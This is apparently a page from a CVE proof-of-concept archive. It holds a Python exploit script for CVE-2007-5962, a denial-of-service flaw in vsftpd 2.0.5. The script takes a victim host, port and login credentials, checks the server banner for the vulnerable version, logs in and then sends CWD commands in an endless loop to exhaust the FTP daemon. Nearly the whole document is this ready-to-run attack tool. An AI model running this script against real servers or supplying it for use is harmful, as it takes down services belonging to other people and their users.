4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_vsftpd__2_0_5.py PY
#!/usr/bin/env python3
"""
	Credits: 		Praveen Darshanam		
	Github Author:	https://github.com/praveendhac
	Email:			praveen[underscore]recker[at]sify.com 	
	Source:			https://www.exploit-db.com/exploits/5814

	Name: 			CVE-2007-5962
	Description:	vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, 
					Fedora 6 to 8, Foresight Linux, rPath Linux is prone to 
					Denial-of-Service(DoS) vulnerabilty.Can be xploited by large 
					number of CWD commands to vsftp daemon with deny_file 
					configuration option in /etc/vsftpd/vsftpd.conf or the path 
					where FTP server is installed.
	
	Type exploit:	DOS
	
	Platform: 		Red Hat Enterprise(RHEL) 5, Fedora 6/8, Foresight Linux, rPath Linux
	

"""

#!coding=utf-8

#	
#	[+] this script was created from: antogit-sys 
#	[+] URL: https://github.com/antogit-sys/CVE-2007-5962
#	[+] LICENSE: GPLv3
#

import argparse
from time import sleep
from exploitModuleFTP import *

def main(victim, port, username, passwd):
	emf = exploitModuleFTP(victim, port)
	print("[*] Starting Exploit... 🚀")
	print(f"[*] Connect ftp in ({victim}, {port})")

	resp = emf.connectServer()
	if resp != False:
		print("[*] Execute Exploit...")
		exec_exploit(emf, username, passwd, resp)
	else:
		emf.close_connection()
		print("[✘] failed to connect !!")

def exec_exploit(emf, u, p, r):
	bannerServer = str(r)
	if "(vsFTPd 2.0.5)" in bannerServer:
		print("[*] Server response:")
		print(bannerServer)
		print(f"\n[*] Login {emf.ip} server...")
		print(f" ... USER {u}")
		sleep(1)
		print(f" ... PASS {p}")
		sleep(1)
		
		r = emf.login(u, p)
        
		if r == False:
			print("\n[✘] username or password incorrect !!")
		else:
			print("\n[*] Server response:")
			print(r)
			sleep(1)
			__exploit(emf,"./")
	else:
		print("[!] vsFTPd server with version other than 2.0.5")
def __exploit(emf, directory):
	try:
		while True:
			print(emf.changeDir(str(directory)))
	except KeyboardInterrupt:
		print("\nBye Bye...")
		emf.ftp.quit()

if __name__ == '__main__':
	parser = argparse.ArgumentParser(description="simple python exploit using CVE-2007-5962")
	parser.add_argument("victim", help="Victim server vsftpd 2.0.5")
	parser.add_argument("port", type=int, help="Port server vsftpd 2.0.5")
	parser.add_argument("username", help="username login")
	parser.add_argument("passwd", help="password login")
	args = parser.parse_args()
	main(args.victim, args.port, args.username, args.passwd)